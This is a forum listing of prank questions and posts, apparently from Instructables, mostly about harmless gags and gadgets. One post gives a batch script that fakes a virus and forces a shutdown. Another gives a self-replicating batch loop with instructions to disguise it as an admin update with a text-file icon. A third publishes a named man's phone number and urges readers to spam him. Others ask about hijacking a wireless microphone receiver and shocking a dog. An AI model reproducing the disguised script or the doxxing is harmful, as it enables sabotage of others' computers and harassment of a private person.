How can I make a "prank" remote control to randomly change the channel at a timed interval?
Asked by lolly20 7 years ago
This would be a secondary remote control that is hidden in the room within range of the TV. Not sure what electronics are needed for this.
Asked by lolly20 7 years ago | last reply 7 years ago
i'm 13 years old too and part of my family is going to the beach next week (june 26) so every year i freeze his underwear(soak them with water and put them in the freezer), and thats real fun but its getting old. so please tell me something that he will remember for the rest of his life.
Asked by ducktape.mac 8 years ago | last reply 8 years ago
You have been pranked!'PERVERT!!
Posted by KentsOkay 10 years ago | last reply 10 years ago
Asked by DELETED_DELETED_DELETED_16nato 7 years ago | last reply 7 years ago
Is the April Fools Challenge still open to entries??? If so, Link me please?
Posted by Noswad0208 6 years ago | last reply 6 years ago
Hi,I don't know if you recall from an early form topic but I was receiving a lot of prank calls almost daily telling me to join the secret service. It was really pissing me off. Well I got his number. Don't ask me how but I have got it.His Name is Tony Mathews.Home Number: 608 233-8343E-mail:firstname.lastname@example.orgIf you want to spam him, call him back that would be great. But be sure not to link him back to me and instructables. Thanks and have a good time,Joe
Posted by joejoerowley 10 years ago | last reply 10 years ago
HI everybody, i followed this instructablehttps://www.instructables.com/id/Re-purposing-an-Air-Wick-Freshmatic-Compact-i-Moti/step4/Aproach-1B-Digitized-Sensor-Output-Small-Module/ and the pir is outputting +-4.7 v. i purchased a rs5 5v (coil) 12v switch relay. I have connected the output of the PIR to the relay coil and i am trying to use this to switch on a 12v windscreen washer pump. I can switch the relay with 3x 1.5v cells directly and the pump activates but when i use the output of the PIR to try and switch the relay, nothing happens. I am assuming it is a ( Icurrent ) problem but as i say I dont have a clue.please help.?
Asked by macgyverknife 7 years ago | last reply 7 years ago
So i have an epic prank in mind. i would like to (while sitting in the audience of an assembly) be able to transmitt through the wireless mic reciever the speaker is using. the frequency of the transmitter needs to be adjustable. any ideas?
Asked by jmatthew408 8 years ago | last reply 6 years ago
Materials: High output IR light/beacon Power source Cable tv remote or equivalent code sender High altitude urban viewpoint Stealth attire The basic scheme is to send out a high output IR signal from this beacon to cable boxes to switch channels . The signal would be bright enough to reflect into any facing windows and reach the cable box IR receiver. It might hopefully affect tv's within a radius of a mile? Or more! If performed at a certain appointed time, say, at the beginning of the Super Bowl, to tune in to, say, the History Channel, it's possible the effect will show up in the Neilson ratings as a momentary blip, before annoyed football fans switch their tv's back. Guerrilla social mischief. If successful. Thanks.
Posted by bilham 6 years ago | last reply 6 years ago
My smallish dog steals my watch and other things from counters. A very light shock would be sufficient; I would use a 9 volt battery by itself but I want the pulsing action of an r/c/transformer circuit. All the shockers I've found here are too harsh. Any suggestions, especially how to vary the amount of shock?
Asked by chrisk33 9 years ago | last reply 9 years ago
I have a smallish (5 x 8") plaque (brass plate on wood base) that I want to mount to the door of a standard public restroom stall. LIMITATIONS: I can't use screws or glue. There is a coat-hanger on the inside the door which I was thinking about removing in order to utilize pre-drilled holes, but I can't get the screws loose with a basic philip's head. I have an impact driver/drill, but I feel like that would draw more attention than I'm comfortable with. So I'm left with either a ton of double sided tape that will hopefully be strong enough to resist casual attempts at removal, or a rare earth magnet on one side of the stall and chunk of iron or steel on the other. Of course, there's an issue of cost when it comes to the magnet as well as a concern regarding the visible piece of metal that I'd use to attract the magnet.
Asked by LazloHollyfeld 7 years ago | last reply 7 years ago
So I'm making a funny virus prank with .bat and I was wondering how to fix it so it will actually shutdown the pc after 5 seconds on the fake bluescreen Code so far: @echo off @echo WARNING VIRUS ATTACK! @echo WARNING VIRUS ATTACK! @echo WARNING VIRUS ATTACK! @echo All Files Deleted. Reboot to Restore. @echo Press Enter to Reboot ping 184.108.40.206 -n 1 -w 5000 >NUL @echo C: Drive Deleted @echo WARNING! All Files Lost! Virus Detected @echo Contact Administrator @echo WARNING! FIREWALL BREACHED! pause @echo WARNING! System Shutdown in 5! ping 220.127.116.11. -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 4! ping 18.104.22.168 -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 3! ping 22.214.171.124 -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 2! ping 126.96.36.199 -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 1! ping 188.8.131.52 -n 1 -w 1500>NUL @echo Man are you easy to fool! @echo Do you REALLY think I would make a virus to delete all files on your computer? @echo Well, I might. But not this time. @echo This time. @echo THIS TIME. @echo Press Enter to End ping 184.108.40.206 -n 1 -w 4000 >NUL @echo SIKE! Im deleting everything now! @echo Now I will give you a REAL countdown! pause @echo DELETING ALL FILES IN 5 ping 220.127.116.11. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 4 ping 18.104.22.168. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 3 ping 22.214.171.124. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 2 ping 126.96.36.199. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 1 ping 188.8.131.52. -n 1 -w 1500>NUL pause color 2 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% ping 184.108.40.206. -n 1 -w 1500>NUL @echo All Files Deleted pause @echo off echo ^^^BSOD^ > bsod.hta echo. >> bsod.hta echo ^> bsod.hta echo applicationname="BSOD" >> bsod.hta echo version="1.0" >> bsod.hta echo maximizebutton="no" >> bsod.hta echo minimizebutton="no" >> bsod.hta echo sysmenu="no" >> bsod.hta echo Caption="no" >> bsod.hta echo windowstate="maximize"/^> >> bsod.hta echo. >> bsod.hta echo ^^ >> bsod.hta echo ^ >> bsod.hta echo ^A problem has been detected and windows has been shutdown to prevent damage to your computer.^ >> bsod.hta echo. >> bsod.hta echo ^DRIVER_IRQL_NOT_LES_OR_EQUAL^ >> bsod.hta echo. >> bsod.hta echo ^If this is the first time you've seen this stop error screen, restart your computer, If this screen appears again, follow these steps:^ >> bsod.hta echo. >> bsod.hta echo ^Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any windows updates you might need.^ >> bsod.hta echo. >> bsod.hta echo ^If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.^ >> bsod.hta echo. >> bsod.hta echo ^Technical information:^ >> bsod.hta echo. >> bsod.hta echo ^*** STOP: 0x000000D1 (0x0000000C,0x00000002,0x00000000,0xF86B5A89)^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^*** gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd9919eb^ >> bsod.hta echo. >> bsod.hta echo ^Beginning dump of physical memory^ >> bsod.hta echo ^Physical memory dump complete.^ >> bsod.hta echo ^Contact your system administrator or technical support group for further assistance.^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^ >> bsod.hta echo ^^ >> bsod.hta start "" /wait "bsod.hta" del /s /f /q "bsod.hta" > nul shutdown.exe /s /t 00 And yes I got part of this from other people so I'm not saying I made it all on my own.
Posted by Someperson1234 4 years ago
I want to mod my prank gum so it zaps on contact, instead on having to pull the gum.
Asked by Dakpots 9 years ago | last reply 8 years ago
So my friends got me with a prank, so now I need to prank them back. Two of my friends, I either don't have access to their house, or I am not able to see very often. One friend, I created an ad to have people call him with their best Chewbacca impressions. But I am stumped on what to do for my other long distanced friend.
Posted by KaylaR44 22 days ago | last reply 15 days ago
I would appreciate any ideas for a prank at my school. ANY ideas?
Posted by Pumpkin$ 10 years ago | last reply 2 years ago
Okay, so in 2 days I'm going to church camp at Camp Gilmont in Gilmer,TX and I need to know a bunch of hilarious pranks to pull on the girls in my cabin and an extra devious one to pull on the boys for revenge!Please tell me a bunch of good pranks quick! I only have two days to plan ahead! (ps please don't tell me the pranks like sticking their hand in warm water or putting stuff in their shoes or stuff like that!)
Asked by Totally.Adorkable.98 6 years ago
I want to prank a girl who I hate because she's been spreading rumours about me. I'm not really very upset about that but I still think it needs to be justified so I'm looking for some harmless and inconspicuous pranks that won't get me into trouble. My class is going on a school trip for a week and I want to take that opportunity to get back at her. We're visiting a big city and will be touring around during the day stay in hotel rooms at night. I don't want a HUGE prank because that could get everyone into trouble and ruin the trip altogether. The perfect prank would be something that isn't obvious, so it can be blamed on just dumb luck, but something humiliating or at least bothersome.
Asked by DoggyWaffles 3 years ago | last reply 3 years ago
Since this seems to be the popular place for posting user made competitions I thought I'd post mine here!I'm offering cookie patches to the first three people to follow my instructable and make a laughing can prank.To win a patch you must make the laughing can prank, take a photo of the electronics before it goes in the can and film you using it on someone! (fake reactions won't win a prize)The instructable can be seen here.Thanks!
Posted by Jayefuu 9 years ago | last reply 9 years ago
I'm going to be on NPR's "Talk of the Nation" today talking about Instructables, April Fools' Days, and DIY pranks as a result of the Top 5 April Fools' Day Pranks article I wrote.The people at NPR have sworn multiple times that this isn't a prank!Update: Here's the web listing where you can listen:http://www.npr.org/templates/story/story.php?storyId=89274746More news articles about Instructables here.
Posted by ewilhelm 10 years ago | last reply 9 years ago
It’s not yet the middle of March, which means plenty of time for planning and executing the perfect April Fools Day prank. (Also, there’s a contest you should enter if you’ve got a great prank to share.) HQ has been batting around prank ideas for a solid month, and Mikeasaurus is about to ruin a lifetime of polite Canadian good karma with an expanding list of prank ideas. We’ll be attempting to wire my brake lights to a hidden car horn later this month, and Mikeasaurus has been surreptitiously stealing trash from around the office to gently prank the trash collectors at his house. (Making Ghandi look scary was just the tip of the iceberg.) Most of our office pranks are harmless, and harmlessness is one of the goals in our prank contest. A quick surprise, easy cleanup, and no bodily harm are the guiding principles for sustaining a prank war. Rapid escalation leads to eventual hurt feelings or a hospital trip, neither of which are useful for next year’s April Fools shenanigans. As of March 12th, the prank war is still cold at Instructables headquarters. Randofo (a man who knows his way around a prank or two) and Mikeasaurus (who is no stranger to pranks himself) are taunting one another with various super-secret pranks that will be deployed on April 1st. Pranking Mr. Saurus from afar was an office pastime while he was relegated to the frozen tundra of urban Vancouver last year. Skirting the fine line between hilarious electronics-based pranks and the very real possibility of an eagle-eyed x-ray operator reporting us to the authorities prevented anything too terrible from happening to him in Canada. But now he’s within arm’s reach of his prank nemesis. Here's a quick rundown of past pranks perpetrated by Instructables staff at HQ: The Prank Box - randofo "It is very funny to watch people ponder the implications of the device, reluctantly turn it on, and then stress out when they cannot turn it off. It is even funnier to get panicked emails from your friend in Canada after you mail it to him without any explanation, and he decides to ignore the directions on the box and turn it on." Watch the video Car Horn Prank Box - randofo "A beloved coworker is returning from Canada soon and in his honor I have created the car horn prank box. Basically, when the red button is pressed, and an LED blinks indicating that there is thirty seconds in which to hide the box somewhere dark. Once the thirty seconds expire, the next time that the box sense light, the car horn honks very loudly. The amount of potential mischief that this device can produce makes it a perfect welcome back gift." Watch the video Mystery Beeping Prank - randofo The Mystery Beeping Prank is a device hidden in a hollowed out book that beeps intermittently at different frequencies. I made this because I am surrounded by a lot of incredibly creative people who have a penchant for pranking one another, and this seemed like the most subtly annoying thing that I could think of. Watch the video LieDar - FAT lab Sometimes you just want to pretend to be driving around in a driverless car. You're just a rented Fiat, a few hours of 3D printing, and a pair of big brass ball bearings from pranking an entire city with technological delight, then confusion, then concern. Watch the video Air Horn Office Chair Prank - mikeasaurus The office is a great place to prank your coworkers. Interrupt the white noise of typing keyboards and the hum of the photocopier with a blaring klaxon hidden under someone's office chair. Watch the video Magnetic Axe Prank - mikeasaurus Good with metal? Try hacking an axe in half, adding some powerful magnets, and pretending to put an axe through the hood of a car, into someone's nice stainless fridge, or anything else ferrous and nefarious. Phony Fliers with Rip-Off Tabs - mikeasaurus Surprise and delight the local nerd community with these phony fliers. References to Star Trek, Star Wars, Blade Runner, and Half-Life abound. Make your own, set up a dummy email address, and watch the weird responses roll in. WC White Box of Doom - MC Langer Not technically from HQ, but MC Langer spent enough time at HQ to feel like part of the family. His "Water Closet White Box of Doom" is hilarious, ingenious, and unlikely to cause permanent harm. He also tests it on himself, which is awesome. (It's a jar of water in a first aid kit that tips the water onto someone if they trigger the toilet seat switch. It also includes a Bazinga scroll that pops out to let the victim know that they've been the victim of a classic jape.) Watch the video How To Put A Stapler In Jello - kazmataz Because Jim shouldn't have all the fun. (And Dwight shouldn't get all the jello.) Screaming Trash Bin Prank - Jayefuu Electronic trash cans seemed like such a good idea. At first. Then they stopped working reliably. Then they started screaming bloody murder thanks to Jayefuu. Watch the video
Posted by wilgubeast 4 years ago | last reply 4 years ago
I just found this site and tested it out... And it works!Basically it's a site that you pick out a prank message, enter a phone number, and in a few minutes or more, the site calls the phone and pranks them with the message you picked out. Some of the prank messages on there would be the RickRoll, Peanut Butter Jelly Time, and 7 days (from the movie The Ring). They claim to not share the numbers at all, and lots of people seem to have used it without any problems either, so I'm considering it safe. I'm going to have some fun with this and my friends over the next few weeks... : D
Posted by Aar000n3y 10 years ago | last reply 10 years ago
I am trying to transmit audio wirelessly for a school prank. Any suggestions would be appreciated.
Asked by lardbob 9 years ago | last reply 8 years ago
I thought this might be a great prank. I was wondering if a simple motion detector wired up to the remote transceiver would work?
Asked by asasklfjklasfkljasklfjaklfsjkl 9 years ago | last reply 8 years ago
Asked by HUMMMM 8 years ago | last reply 8 years ago
Anybody else see this? http://www.foxnews.com/story/0,2933,484326,00.html ? Lots of us have re-arranged the letters on signs to spell funny (and occasionaly inappropriate) things, but these guys take the cake! So, what non-malicious pseudo vandalism have you seen (or participated in)?
Posted by skunkbait 9 years ago | last reply 9 years ago
An engineer buddy gave me over 3000 red, yellow and green LEDs. (His company threw them out!) I'm looking for really fun ideas to put them to good... or bad use! As for tech skills, i would say i am a 6 on a scale of 1 to 10. Thanx!
Asked by zaphodd42 7 years ago | last reply 7 years ago
I am trying to figure out a method to create a remotely trigureable speaker play a Pewee Hermann laugh during my mythology class (the teacher there is deathly afraid of him for some odd reason). Does anyone have any suggestions on how to go about this? Many thanks.
Posted by das_pacman 7 years ago | last reply 7 years ago
I discovered a few days ago about how to quit rickroll window without quitting your browser!This trick can be used for anyone who gets trapped in the rickroll site and gets really annoyed...This trick WILL work on mac computers, I don't know if it will work for PC computers, anyway, the trick is really simple, first try quit the window to get the annoying little boxes and just press and hold down "return" until the rickroll site is gone...Click this rickroll to test.So.. Are you happy now?
Posted by Plasmana 10 years ago | last reply 10 years ago
I did this at school. Open notepad, copy and paste this, then save it as Admin update.bat & then when you've saved it, create a shortcut then hide the original file. After that, change the icon to the one that looks like the .txt file(i am not responsible for what you do with this):@echo off:1set title=%random%@echo off>%title%.bat:1>%title%.batset title=%random%>%title%.bat@echo off>%title%.bat>%title%.bat:1>%title%.bat>%title%.batset title=%random%>%title%.bat>%title%.batgoto 1>%title%.batgoto 1
Posted by krujh2 9 years ago | last reply 7 years ago
Inspired by the instructable "The Unusable Computer" found at https://www.instructables.com/id/EALTMA1OPWEP287OVU/?ALLSTEPS . What are some of your favorite pranks to play on your friends at work?
Posted by jerbtown 12 years ago | last reply 10 years ago
i am big on mischief and pranks and weapons so i wanted to know if there is a way you can make an altoids mischief kit full of weapons and pranks.
Asked by rockgod57 7 years ago
I want to hear the funniest jokes you've ever done! Here's one from me: once, when I was 5, I loved to pulled pranks and once I was going to put a whoopiecushion on someone in the theater. I put it on a random chair. (no offense) A obiece guy sat on it and it popped and he said "ahh! my butt" So post some funny stuff!
Posted by lil larry 7 years ago | last reply 7 years ago